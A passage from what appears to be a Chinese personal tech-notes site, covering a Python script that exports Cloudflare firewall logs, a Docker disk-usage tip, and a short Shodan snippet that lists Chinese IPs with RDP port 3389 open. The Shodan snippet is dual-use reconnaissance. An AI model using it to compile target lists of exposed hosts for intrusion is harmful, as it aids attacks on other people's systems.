href=\"https://stackoverflow.com/a/44289026\">https://stackoverflow.com/questions/34199982/how-to-query-all-the-graphql-type-fields-without-writing-a-long-query</a></p>\n<p>查询限制：一次分页可以获取最大10000条记录，filter必须有内容，时间跨度一次不能超过24小时</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">requests</span>\n<span class=\"kn\">from</span> <span class=\"nn\">pprint</span> <span class=\"kn\">import</span> <span class=\"n\">pprint</span>\n<span class=\"kn\">from</span> <span class=\"nn\">datetime</span> <span class=\"kn\">import</span> <span class=\"n\">timezone</span><span class=\"p\">,</span><span class=\"n\">datetime</span><span class=\"p\">,</span><span class=\"n\">timedelta</span>\n<span class=\"n\">sess</span><span class=\"o\">=</span><span class=\"n\">requests</span><span class=\"o\">.</span><span class=\"n\">session</span><span class=\"p\">()</span>\n<span class=\"kn\">from</span> <span class=\"nn\">config</span> <span class=\"kn\">import</span> <span class=\"n\">headers</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">fetch</span><span class=\"p\">(</span><span class=\"n\">ts</span><span class=\"p\">):</span>\n    <span class=\"n\">res</span> <span class=\"o\">=</span> <span class=\"p\">[]</span>\n    <span class=\"n\">end</span> <span class=\"o\">=</span> <span class=\"n\">ts</span><span class=\"o\">.</span><span class=\"n\">strftime</span><span class=\"p\">(</span><span class=\"s2\">&quot;%Y-%m-</span><span class=\"si\">%d</span><span class=\"s2\">T%H:%M:%SZ&quot;</span><span class=\"p\">)</span>\n    <span class=\"n\">start</span> <span class=\"o\">=</span> <span class=\"p\">(</span><span class=\"n\">ts</span><span class=\"o\">-</span><span class=\"n\">timedelta</span><span class=\"p\">(</span><span class=\"n\">days</span><span class=\"o\">=</span><span class=\"mi\">1</span><span class=\"p\">))</span><span class=\"o\">.</span><span class=\"n\">strftime</span><span class=\"p\">(</span><span class=\"s2\">&quot;%Y-%m-</span><span class=\"si\">%d</span><span class=\"s2\">T%H:%M:%SZ&quot;</span><span class=\"p\">)</span>\n    <span class=\"n\">x</span><span class=\"o\">=</span><span class=\"n\">sess</span><span class=\"o\">.</span><span class=\"n\">post</span><span class=\"p\">(</span><span class=\"s2\">&quot;https://api.cloudflare.com/client/v4/graphql&quot;</span><span class=\"p\">,</span> <span class=\"n\">headers</span><span class=\"o\">=</span><span class=\"n\">headers</span><span class=\"p\">,</span> <span class=\"n\">data</span><span class=\"o\">=</span> <span class=\"s1\">&#39;{&quot;operationName&quot;:&quot;ActivityLogQuery&quot;,&quot;variables&quot;:{&quot;zoneTag&quot;:&quot;8a4335a74373cec7fd053241dc3e3f41&quot;,&quot;filter&quot;:{&quot;datetime_geq&quot;:&quot;&#39;</span><span class=\"o\">+</span><span class=\"n\">start</span><span class=\"o\">+</span><span class=\"s1\">&#39;&quot;,&quot;datetime_leq&quot;:&quot;&#39;</span><span class=\"o\">+</span><span class=\"n\">end</span><span class=\"o\">+</span><span class=\"s1\">&#39;&quot;},&quot;limit&quot;:10000,&quot;activityFilter&quot;:{&quot;datetime_geq&quot;:&quot;&#39;</span><span class=\"o\">+</span><span class=\"n\">start</span><span class=\"o\">+</span><span class=\"s1\">&#39;&quot;,&quot;datetime_leq&quot;:&quot;&#39;</span><span class=\"o\">+</span><span class=\"n\">end</span><span class=\"o\">+</span><span class=\"s1\">&#39;&quot;}},&quot;query&quot;:&quot;query ActivityLogQuery($zoneTag: string, $filter: FirewallEventsAdaptiveGroupsFilter_InputObject, $activityFilter: FirewallEventsAdaptiveFilter_InputObject, $limit: int64</span><span class=\"se\">\\\\</span><span class=\"s1\">u0021) { viewer { zones(filter: {zoneTag: $zoneTag}) { total: firewallEventsAdaptiveByTimeGroups(limit: 1, filter: $filter) { count avg { sampleInterval __typename } __typename } activity: firewallEventsAdaptive(filter: $activityFilter, limit: $limit, orderBy: [datetime_DESC, rayName_DESC, matchIndex_ASC]) { action clientASNDescription clientAsn clientCountryName clientIP clientRequestHTTPHost clientRequestHTTPMethodName clientRequestHTTPProtocol clientRequestPath clientRequestQuery datetime rayName ruleId source userAgent matchIndex metadata { key value __typename } sampleInterval originResponseStatus edgeResponseStatus clientRefererScheme clientRefererHost clientRefererPath clientRefererQuery clientIPClass  __typename } __typename } __typename }}&quot;}&#39;</span><span class=\"p\">)</span>\n    <span class=\"c1\">#print(x.json())</span>\n    <span class=\"k\">return</span> <span class=\"n\">x</span><span class=\"o\">.</span><span class=\"n\">json</span><span class=\"p\">()[</span><span class=\"s2\">&quot;data&quot;</span><span class=\"p\">][</span><span class=\"s2\">&quot;viewer&quot;</span><span class=\"p\">][</span><span class=\"s1\">&#39;zones&#39;</span><span class=\"p\">][</span><span class=\"mi\">0</span><span class=\"p\">][</span><span class=\"s1\">&#39;activity&#39;</span><span class=\"p\">]</span>\n\n\n<span class=\"n\">logformat</span> <span class=\"o\">=</span> <span class=\"p\">[</span><span class=\"s1\">&#39;datetime&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;clientIP&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;clientIPClass&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;edgeResponseStatus&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;originResponseStatus&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;clientRequestHTTPMethodName&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;clientRequestPath&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;clientRequestQuery&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;clientRequestHTTPProtocol&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;clientRefererScheme&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;clientRefererHost&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;clientRefererPath&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;clientRefererQuery&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;userAgent&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;action&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;clientASNDescription&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;clientAsn&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;clientCountryName&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;clientRequestHTTPHost&#39;</span><span class=\"p\">,</span>  <span class=\"s1\">&#39;matchIndex&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;ruleId&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;sampleInterval&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;source&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;rayName&#39;</span><span class=\"p\">]</span>\n<span class=\"n\">fp</span><span class=\"o\">=</span><span class=\"nb\">open</span><span class=\"p\">(</span><span class=\"s2\">&quot;access.log&quot;</span><span class=\"p\">,</span> <span class=\"s2\">&quot;w&quot;</span><span class=\"p\">)</span>\n<span class=\"n\">ts</span> <span class=\"o\">=</span> <span class=\"n\">datetime</span><span class=\"o\">.</span><span class=\"n\">now</span><span class=\"p\">(</span><span class=\"n\">tz</span><span class=\"o\">=</span><span class=\"n\">timezone</span><span class=\"o\">.</span><span class=\"n\">utc</span><span class=\"p\">)</span>\n<span class=\"n\">knownrays</span><span class=\"o\">=</span><span class=\"nb\">set</span><span class=\"p\">()</span>\n<span class=\"n\">data</span> <span class=\"o\">=</span> <span class=\"kc\">None</span>\n<span class=\"k\">while</span> <span class=\"n\">data</span> <span class=\"ow\">is</span> <span class=\"kc\">None</span> <span class=\"ow\">or</span> <span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"n\">data</span><span class=\"p\">)</span><span class=\"o\">==</span><span class=\"mi\">10000</span><span class=\"p\">:</span>\n    <span class=\"n\">data</span> <span class=\"o\">=</span> <span class=\"n\">fetch</span><span class=\"p\">(</span><span class=\"n\">ts</span><span class=\"p\">)</span>\n    <span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"n\">data</span><span class=\"p\">:</span>\n        <span class=\"k\">if</span> <span class=\"n\">i</span><span class=\"p\">[</span><span class=\"s1\">&#39;rayName&#39;</span><span class=\"p\">]</span> <span class=\"ow\">in</span> <span class=\"n\">knownrays</span><span class=\"p\">:</span>\n            <span class=\"k\">continue</span>\n        <span class=\"n\">line</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;</span><span class=\"se\">\\t</span><span class=\"s2\">&quot;</span><span class=\"o\">.</span><span class=\"n\">join</span><span class=\"p\">(</span><span class=\"nb\">str</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"p\">[</span><span class=\"n\">j</span><span class=\"p\">])</span> <span class=\"k\">for</span> <span class=\"n\">j</span> <span class=\"ow\">in</span> <span class=\"n\">logformat</span><span class=\"p\">)</span>\n        <span class=\"n\">fp</span><span class=\"o\">.</span><span class=\"n\">write</span><span class=\"p\">(</span><span class=\"n\">line</span><span class=\"o\">+</span><span class=\"s2\">&quot;</span><span class=\"se\">\\n</span><span class=\"s2\">&quot;</span><span class=\"p\">)</span>\n    <span class=\"n\">last</span> <span class=\"o\">=</span> <span class=\"n\">data</span><span class=\"p\">[</span><span class=\"o\">-</span><span class=\"mi\">1</span><span class=\"p\">]</span>\n    <span class=\"n\">knownrays</span><span class=\"o\">.</span><span class=\"n\">update</span><span class=\"p\">([</span><span class=\"n\">i</span><span class=\"p\">[</span><span class=\"s1\">&#39;rayName&#39;</span><span class=\"p\">]</span> <span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"n\">data</span> <span class=\"k\">if</span> <span class=\"n\">i</span><span class=\"p\">[</span><span class=\"s1\">&#39;datetime&#39;</span><span class=\"p\">]</span><span class=\"o\">==</span><span class=\"n\">last</span><span class=\"p\">[</span><span class=\"s1\">&#39;datetime&#39;</span><span class=\"p\">]])</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">last</span><span class=\"p\">[</span><span class=\"s1\">&#39;datetime&#39;</span><span class=\"p\">],</span> <span class=\"s2\">&quot;len(knownrays)=&quot;</span><span class=\"p\">,</span><span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"n\">knownrays</span><span class=\"p\">))</span>\n    <span class=\"n\">ts</span> <span class=\"o\">=</span> <span class=\"n\">datetime</span><span class=\"o\">.</span><span class=\"n\">strptime</span><span class=\"p\">(</span><span class=\"n\">last</span><span class=\"p\">[</span><span class=\"s1\">&#39;datetime&#39;</span><span class=\"p\">],</span> <span class=\"s2\">&quot;%Y-%m-</span><span class=\"si\">%d</span><span class=\"s2\">T%H:%M:%SZ&quot;</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>然后就能分析例如访问最多的IP: <code>cut -d$'\\t' -f2 access.log|sort|uniq -c|sort -hr|head -n 30</code></p>\n<hr />\n<h2 id=\"shodan-ip\">shodan 搜索开放特定端口的ip列表<a class=\"headerlink\" href=\"#shodan-ip\" title=\"Permanent link\">&para;</a></h2>\n<p>这个需求只需要使用faucet即可，免费</p>\n<p>举个例子：搜索3389的中国ip：</p>\n<p><a href=\"https://beta.shodan.io/search/facet?query=port%3A3389+country%3Acn&amp;facet=ip\">https://beta.shodan.io/search/facet?query=port%3A3389+country%3Acn&amp;facet=ip</a></p>\n<p>也可以使用shodan的python包来查询，需要注册一个账号得到api key：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">shodan</span>\n<span class=\"n\">x</span><span class=\"o\">=</span><span class=\"n\">shodan</span><span class=\"o\">.</span><span class=\"n\">Shodan</span><span class=\"p\">(</span><span class=\"s2\">&quot;APIKEY&quot;</span><span class=\"p\">)</span>\n<span class=\"n\">data</span><span class=\"o\">=</span><span class=\"n\">x</span><span class=\"o\">.</span><span class=\"n\">search</span><span class=\"p\">(</span><span class=\"s2\">&quot;port:3389 country:cn&quot;</span><span class=\"p\">,</span> <span class=\"n\">facets</span><span class=\"o\">=</span><span class=\"p\">[</span><span class=\"s1\">&#39;ip:10000&#39;</span><span class=\"p\">])</span>\n<span class=\"n\">iplist</span><span class=\"o\">=</span><span class=\"p\">([</span><span class=\"n\">i</span><span class=\"p\">[</span><span class=\"s2\">&quot;value&quot;</span><span class=\"p\">]</span> <span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"n\">data</span><span class=\"p\">[</span><span class=\"s2\">&quot;facets&quot;</span><span class=\"p\">][</span><span class=\"s2\">&quot;ip&quot;</span><span class=\"p\">]])</span>\n</code></pre></div>\n\n<h2 id=\"varlibdockeroverlay2\">找到 /var/lib/docker/overlay2 对应的容器<a class=\"headerlink\" href=\"#varlibdockeroverlay2\" title=\"Permanent link\">&para;</a></h2>\n<p>硬盘空间不够，可能是docker占用了太多空间</p>\n<p>参考 https://fabianlee.org/2021/04/08/docker-determining-container-responsible-for-largest-overlay-directories/</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">ncdu</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"k\">var</span><span class=\"o\">/</span><span class=\"n\">lib</span><span class=\"o\">/</span><span class=\"n\">docker</span><span class=\"o\">/</span><span class=\"n\">overlay2</span><span class=\"w\"> </span><span class=\"c1\">#查看哪些目录占据空间最大</span>\n<span class=\"n\">docker</span><span class=\"w\"> </span><span class=\"n\">inspect</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"p\">(</span><span class=\"n\">docker</span><span class=\"w\"> </span><span class=\"n\">ps</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">qa</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"n\">jq</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">r</span><span class=\"w\"> </span><span class=\"s1\">&#39;map([.Name, .GraphDriver.Data.MergedDir]) | .[] | &quot;\\(.[0])</span><span class=\"se\">\\t</span><span class=\"s1\">\\(.[1])&quot;&#39;</span><span class=\"w\"> </span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"n\">docker</span><span class=\"o\">-</span><span class=\"n\">mappings</span><span class=\"o\">.</span><span class=\"n\">txt</span>\n</code></pre></div>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/Docker/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../Developer/\">\n      \n      \n        <link rel=\"next\" href=\"../ETH/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>Docker - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#_1\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Docker\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a 